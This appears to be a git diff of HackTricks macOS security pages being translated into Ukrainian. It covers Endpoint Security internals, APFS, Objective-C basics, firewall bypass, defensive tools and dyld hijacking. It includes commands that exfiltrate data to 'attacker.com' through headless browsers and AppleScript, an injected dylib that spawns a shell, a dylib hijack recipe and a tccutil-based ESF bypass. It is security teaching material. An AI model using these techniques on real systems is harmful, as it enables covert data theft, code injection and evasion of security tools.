- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
- **EndpointSecurityDriver**: Діє як "точка входу" для розширення ядра. Це основна точка взаємодії між ОС та фреймворком Endpoint Security.
- **EndpointSecurityEventManager**: Цей компонент відповідає за реалізацію ядрових хуків. Ядрові хуки дозволяють фреймворку моніторити системні події, перехоплюючи системні виклики.
- **EndpointSecurityClientManager**: Це управляє зв'язком з клієнтами простору користувача, відстежуючи, які клієнти підключені та потребують отримання сповіщень про події.
- **EndpointSecurityMessageManager**: Це надсилає повідомлення та сповіщення про події клієнтам простору користувача.
The events that the Endpoint Security framework can monitor are categorized into:
Події, які фреймворк Endpoint Security може моніторити, класифікуються на:
- File events
- Process events
- Socket events
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
- Події файлів
- Події процесів
- Події сокетів
- Ядрові події (такі як завантаження/вивантаження розширення ядра або відкриття пристрою I/O Kit)
### Endpoint Security Framework Architecture
### Архітектура фреймворку Endpoint Security
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
**Зв'язок у просторі користувача** з фреймворком Endpoint Security відбувається через клас IOUserClient. Використовуються два різні підкласи, залежно від типу виклику:
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
- **EndpointSecurityDriverClient**: Це вимагає права `com.apple.private.endpoint-security.manager`, яке має лише системний процес `endpointsecurityd`.
- **EndpointSecurityExternalClient**: Це вимагає права `com.apple.developer.endpoint-security.client`. Це зазвичай використовуватиметься стороннім програмним забезпеченням безпеки, яке потребує взаємодії з фреймворком Endpoint Security.
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
Розширення Endpoint Security:**`libEndpointSecurity.dylib`** є C-бібліотекою, яку системні розширення використовують для зв'язку з ядром. Ця бібліотека використовує I/O Kit (`IOKit`) для зв'язку з KEXT Endpoint Security.
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
**`endpointsecurityd`** є ключовим системним демоном, який бере участь в управлінні та запуску системних розширень безпеки кінцевих точок, особливо під час раннього процесу завантаження. **Тільки системні розширення**, позначені **`NSEndpointSecurityEarlyBoot`** у їхньому файлі `Info.plist`, отримують це раннє завантаження.
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
Ще один системний демон, **`sysextd`**, **перевіряє системні розширення** та переміщує їх у відповідні системні місця. Потім він запитує відповідний демон, щоб завантажити розширення. **`SystemExtensions.framework`** відповідає за активацію та деактивацію системних розширень.
## Bypassing ESF
## Обхід ESF
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
ESF використовується інструментами безпеки, які намагатимуться виявити червону команду, тому будь-яка інформація про те, як цього можна уникнути, звучить цікаво.
### CVE-2021-30965
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
Справа в тому, що безпекова програма повинна мати **дозволи на повний доступ до диска**. Тож, якщо зловмисник зможе це видалити, він зможе запобігти запуску програмного забезпечення:
```bash
tccutil reset All
```
Для **додаткової інформації** про цей обхід та пов'язані з ним, перегляньте доповідь [#OBTS v5.0: "Ахіллесова п'ята EndpointSecurity" - Фіцл Чаба](https://www.youtube.com/watch?v=lQO7tvNCoTI)
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
В кінці це було виправлено, надавши новий дозвіл **`kTCCServiceEndpointSecurityClient`** безпековому додатку, керованому **`tccd`**, щоб `tccutil` не очищав його дозволи, що заважає йому працювати.
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
## Посилання
## References
- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
- [**OBTS v3.0: "Безпека та небезпека Endpoint" - Скотт Найт**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
- [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
{{#include ../../../banners/hacktricks-training.md}}

28
src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md
View File

@ -2,33 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
## Apple Propietary File System (APFS)
## Apple Proprietary File System (APFS)
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
**Apple File System (APFS)** є сучасною файловою системою, розробленою для заміни ієрархічної файлової системи Plus (HFS+). Її розробка була зумовлена потребою в **покращеній продуктивності, безпеці та ефективності**.
Some notable features of APFS include:
Деякі помітні особливості APFS включають:
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning.
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size.
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted.
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space.
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases.
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption.
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
1. **Спільне використання простору**: APFS дозволяє кільком томам **ділити один і той же вільний простір** на одному фізичному пристрої. Це забезпечує більш ефективне використання простору, оскільки томи можуть динамічно зростати і зменшуватися без необхідності ручного зміни розміру або перерозподілу.
1. Це означає, що в порівнянні з традиційними розділами на файлових дисках, **в APFS різні розділи (томи) ділять весь дисковий простір**, тоді як звичайний розділ зазвичай мав фіксований розмір.
2. **Снімки**: APFS підтримує **створення снімків**, які є **тільки для читання**, точковими моментами часу файлової системи. Снімки забезпечують ефективне резервне копіювання та легке відновлення системи, оскільки вони споживають мінімальний додатковий обсяг пам'яті і можуть бути швидко створені або скасовані.
3. **Клони**: APFS може **створювати клони файлів або каталогів, які ділять той же обсяг пам'яті** з оригіналом, поки або клон, або оригінальний файл не буде змінено. Ця функція забезпечує ефективний спосіб створення копій файлів або каталогів без дублювання обсягу пам'яті.
4. **Шифрування**: APFS **нативно підтримує шифрування всього диска**, а також шифрування на рівні файлів і каталогів, підвищуючи безпеку даних у різних випадках використання.
5. **Захист від збоїв**: APFS використовує **схему метаданих копіювання при запису, яка забезпечує узгодженість файлової системи** навіть у випадках раптової втрати живлення або збоїв системи, зменшуючи ризик пошкодження даних.
В цілому, APFS пропонує більш сучасну, гнучку та ефективну файлову систему для пристроїв Apple, з акцентом на покращену продуктивність, надійність і безпеку.
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`).
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
Том `Data` змонтовано в **`/System/Volumes/Data`** (ви можете перевірити це за допомогою `diskutil apfs list`).
Список firmlinks можна знайти у файлі **`/usr/share/firmlinks`**.
```bash
```
{{#include ../../banners/hacktricks-training.md}}

162
src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md
View File

@ -5,24 +5,21 @@
## Objective-C
> [!CAUTION]
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of:
> Зверніть увагу, що програми, написані на Objective-C, **зберігають** свої оголошення класів **коли** **компільовані** в [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Такі оголошення класів **включають** ім'я та тип:
- The class
- The class methods
- The class instance variables
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
- Класу
- Методи класу
- Змінні екземпляра класу
Ви можете отримати цю інформацію, використовуючи [**class-dump**](https://github.com/nygard/class-dump):
```bash
class-dump Kindle.app
```
Зверніть увагу, що ці імена можуть бути обфусковані, щоб ускладнити реверс інженерію бінарного файлу.
Note that this names could be obfuscated to make the reversing of the binary more difficult.
## Classes, Methods & Objects
### Interface, Properties & Methods
## Класи, Методи та Об'єкти
### Інтерфейс, Властивості та Методи
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
@end
```
### **Class**
### **Клас**
```objectivec
@implementation MyVehicle : NSObject
// No need to indicate the properties, only define methods
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
@end
```
### **Об'єкт та виклик методу**
### **Object & Call Method**
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
Щоб створити екземпляр класу, викликається метод **`alloc`**, який **виділяє пам'ять** для кожної **властивості** та **обнуляє** ці виділення. Потім викликається **`init`**, який **ініціалізує властивості** до **необхідних значень**.
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4];
```
### **Методи класу**
### **Class Methods**
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
Методи класу визначаються з **плюсом** (+), а не з дефісом (-), який використовується з методами екземпляра. Як метод класу **NSString** **`stringWithString`**:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**:
Щоб **встановити** та **отримати** властивості, ви можете зробити це за допомогою **нотації з крапкою** або так, ніби ви **викликаєте метод**:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **Змінні екземпляра**
### **Instance Variables**
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
Альтернативно методам встановлення та отримання ви можете використовувати змінні екземпляра. Ці змінні мають таку ж назву, як і властивості, але починаються з "\_":
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### Протоколи
### Protocols
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
Протоколи - це набір декларацій методів (без властивостей). Клас, який реалізує протокол, реалізує оголошені методи.
Існує 2 типи методів: **обов'язкові** та **додаткові**. За **замовчуванням** метод є **обов'язковим** (але ви також можете вказати це за допомогою тегу **`@required`**). Щоб вказати, що метод є додатковим, використовуйте **`@optional`**.
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
- (void) method3; //optional
@end
```
### All together
### Всі разом
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
@implementation MyVehicle : NSObject
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
}
@end
int main() {
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### Основні класи
### Basic Classes
#### String
#### Рядок
```objectivec
// NSString
NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
Базові класи є **незмінними**, тому для додавання рядка до існуючого потрібно **створити новий NSString**.
```objectivec
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
```
Or you could also use a **mutable** string class:
Або ви також можете використовувати клас **mutable** рядка:
```objectivec
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
[mutableString appendString:bookTitle];
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
#### Number
#### Номер
```objectivec
// character literals.
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
#### Array, Sets & Dictionary
#### Масиви, Набори та Словники
```objectivec
// Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary
NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
};
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
nil];
// Mutable dictionary
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
### Blocks
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
Блоки — це **функції, які поводяться як об'єкти**, тому їх можна передавати функціям або **зберігати** в **масивах** або **словниках**. Крім того, вони можуть **представляти значення, якщо їм надано значення**, тому це схоже на лямбди.
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
//Perform operations here
};
// For example
int (^suma)(int, int) = ^(int a, int b){
return a+b;
return a+b;
};
NSLog(@"3+4 = %d", suma(3,4));
```
It's also possible to **define a block type to be used as a parameter** in functions:
Також можливо **визначити тип блоку, який буде використовуватися як параметр** у функціях:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
// Create a bloack with the block type
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
NSLog(@"%@", @"This is my block");
};
// Use it inside a function as a param
void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function");
blockParam();
NSLog(@"%@", @"This is my function");
blockParam();
}
genericLogger(myLogger);
// Call it inline
genericLogger(^{
NSLog(@"%@", @"This is my second block");
NSLog(@"%@", @"This is my second block");
});
```
### Files
### Файли
```objectivec
// Manager to manage files
NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists");
NSLog (@"File exists");
}
// copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful");
NSLog (@"Copy successful");
}
// Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match");
NSLog (@"File contents match");
}
// Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully");
NSLog(@"Removed successfully");
}
```
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
Також можливо керувати файлами **використовуючи об'єкти `NSURL` замість об'єктів `NSString`**. Імена методів подібні, але **з `URL` замість `Path`**.
```objectivec
```
{{#include ../../banners/hacktricks-training.md}}

58
src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
View File

@ -2,84 +2,74 @@
{{#include ../../banners/hacktricks-training.md}}
## Found techniques
## Знайдені техніки
The following techniques were found working in some macOS firewall apps.
Наступні техніки були виявлені як працюючі в деяких програмах брандмауера macOS.
### Abusing whitelist names
### Зловживання іменами у білому списку
- For example calling the malware with names of well known macOS processes like **`launchd`**
- Наприклад, викликати шкідливе ПЗ з іменами відомих процесів macOS, таких як **`launchd`**
### Synthetic Click
### Синтетичний клік
- If the firewall ask for permission to the user make the malware **click on allow**
- Якщо брандмауер запитує дозвіл у користувача, змусьте шкідливе ПЗ **натиснути на дозволити**
### **Use Apple signed binaries**
### **Використовуйте підписані Apple двійкові файли**
- Like **`curl`**, but also others like **`whois`**
- Як **`curl`**, але також інші, такі як **`whois`**
### Well known apple domains
### Відомі домени Apple
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
Брандмауер може дозволяти з'єднання з відомими доменами Apple, такими як **`apple.com`** або **`icloud.com`**. І iCloud може бути використаний як C2.
### Generic Bypass
### Загальний обхід
Some ideas to try to bypass firewalls
Деякі ідеї для спроби обійти брандмауери
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
### Перевірка дозволеного трафіку
Знання дозволеного трафіку допоможе вам виявити потенційно включені в білий список домени або які програми мають доступ до них.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Зловживання DNS
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
DNS-резолюції виконуються через **`mdnsreponder`** підписаний додаток, який, ймовірно, буде дозволено контактувати з DNS-серверами.
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Via Browser apps
### Через браузерні додатки
- **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
- Google Chrome
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Firefox
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
- Safari
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Через ін'єкції процесів
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
Якщо ви можете **ін'єктувати код у процес**, який має право підключатися до будь-якого сервера, ви можете обійти захист брандмауера:
{{#ref}}
macos-proces-abuse/
{{#endref}}
## References
## Посилання
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

18
src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
View File

@ -1,19 +1,19 @@
# macOS Defensive Apps
# macOS Захисні Додатки
{{#include ../../banners/hacktricks-training.md}}
## Firewalls
## Брандмауери
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch).
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Він буде моніторити кожне з'єднання, яке здійснює кожен процес. Залежно від режиму (тихе дозволення з'єднань, тихе заборонення з'єднання та сповіщення) він **показуватиме вам сповіщення** щоразу, коли встановлюється нове з'єднання. Він також має дуже зручний графічний інтерфейс для перегляду всієї цієї інформації.
- [**LuLu**](https://objective-see.org/products/lulu.html): Брандмауер Objective-See. Це базовий брандмауер, який сповіщатиме вас про підозрілі з'єднання (він має графічний інтерфейс, але не такий вишуканий, як у Little Snitch).
## Persistence detection
## Виявлення стійкості
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence.
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Додаток Objective-See, який шукатиме в кількох місцях, де **шкідливе ПЗ може зберігатися** (це одноразовий інструмент, а не сервіс моніторингу).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Як KnockKnock, моніторячи процеси, які генерують стійкість.
## Keyloggers detection
## Виявлення кейлогерів
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"&#x20;
- [**ReiKey**](https://objective-see.org/products/reikey.html): Додаток Objective-See для виявлення **кейлогерів**, які встановлюють "event taps" клавіатури&#x20;
{{#include ../../banners/hacktricks-training.md}}

96
src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES Basic example
**Library to inject** to execute a shell:
## DYLD_INSERT_LIBRARIES Основний приклад
**Бібліотека для впровадження** для виконання оболонки:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -17,35 +16,30 @@ __attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary to attack:
Бінарний файл для атаки:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
printf("Hello, World!\n");
return 0;
}
```
Injection:
Впровадження:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld Hijacking Example
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
Цільовий вразливий бінарний файл - `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{{#tabs}}
{{#tab name="entitlements"}}
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
{{#endtab}}
{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}
{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
З попередньої інформації ми знаємо, що **не перевіряється підпис завантажених бібліотек** і **система намагається завантажити бібліотеку з**:
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist:
Однак перша не існує:
```bash
pwd
/Applications/VulnDyld.app
@ -101,51 +90,42 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
Отже, це можливо вкрасти! Створіть бібліотеку, яка **виконує деякий довільний код і експортує ті ж функціональні можливості**, що й легітимна бібліотека, повторно експортувавши її. І не забудьте скомпілювати її з очікуваними версіями:
```objectivec:lib.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
Compile it:
Скомпілюйте це:
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
Шлях повторного експорту, створений у бібліотеці, є відносним до завантажувача, давайте змінимо його на абсолютний шлях до бібліотеки для експорту:
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
Finally just copy it to the **hijacked location**:
Нарешті просто скопіюйте це до **викраденого місця**:
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
And **execute** the binary and check the **library was loaded**:
І **виконайте** двійковий файл і перевірте, чи **бібліотека була завантажена**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
</code></pre>
> [!NOTE]
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
> Гарний опис того, як зловживати цією вразливістю для зловживання дозволами камери Telegram, можна знайти за посиланням [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
## Bigger Scale
